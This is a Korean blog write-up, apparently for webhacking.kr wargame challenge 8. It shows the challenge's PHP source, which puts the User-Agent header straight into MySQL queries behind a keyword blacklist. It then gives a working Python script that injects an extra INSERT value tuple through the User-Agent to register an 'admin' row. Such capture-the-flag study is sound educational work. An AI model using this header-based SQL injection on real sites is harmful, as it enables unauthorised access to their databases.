중요 부분.
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
if(preg_match($pat,$agent)) exit("Access Denied!"); //agent값에서 $pat으로 필터리을 함.
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'"); //쿼리 돌려서
$ck=@mysql_fetch_array($q);
if($ck) //결과가 admin이면 통과
{
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")
{
@solve();
@mysql_query("delete from lv0");
}
}
if(!$ck) //결과 없으면 insert문으로 삽입.
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done! ($count_ck[0]/70)");
}
중요 부분만 보면 에이전트 부분에 어떤 작업을 해야되는데 필터링을 통과해서 작업을 해야되고
내가 영향을 줄 수 있는 부분은 아래의 insert문 이라는걸 알수 있음.
insert 문은 많이 알려져있듯이 insert into 테이블() values(), () 이런식으로 여러개 값 집어넣기 가능.
이걸 이용.
이걸 이용해서 admin으로 내 아이피주소를 입력하게 하고, 다른건 쓸때없게 만들면.
"insert into lv0(agent,ip,id) values('d','125.180.27.158','admin'),('b','$ip','guest')"
와 같이 유저 에이전트에 인젝션을 하면 내 아이피로 들어가면 admin이라고 인식.
코딩하면.(파이썬)
"""와 """사이의 문자는 문자열 모양 그대로(스페이스바,탭,줄내림까지 그대로) 들어갑니다.
두번째 인자가 문자열이기에 주로 ''로 문자열구분을 하고 값을 줬었지만, 값 사이에 '가 있어서
문자열의 처음과 끝을 구분 못하기에 """같은걸로 감싸주면 제대로 인식 완료. \를 쓰는 방법도
있지만 """가 가독성이 더 좋은것같아서 그냥 """를 씀..
import urllib, urllib2 form = urllib.urlencode({'id':'?????','pw':'?????'}) req = urllib2.Request('http://webhacking.kr',form) res = urllib2.urlopen(req) session = res.headers.get('set-cookie') req = urllib2.Request('http://webhacking.kr/challenge/web/web-08/index.php') req.add_header('cookie',session) req.add_header('user-agent',"""d','125.180.27.158','admin'),('b""") res = urllib2.urlopen(req) req = urllib2.Request('http://webhacking.kr/challenge/web/web-08/index.php') req.add_header('cookie',session) req.add_header('user-agent','d') res = urllib2.urlopen(req) print res.read(20000)
'webhacking > sql, sql injection' 카테고리의 다른 글
webhacking.kr 7번 소스코드 (0) | 2014.08.19 |
---|---|
webhacking.kr 7번 (0) | 2014.08.19 |
rubiya님의 문서 (2) | 2014.08.15 |
webhacking.kr 2번 (0) | 2014.08.11 |
webhacking.kr 2번 소스코드 (0) | 2014.08.10 |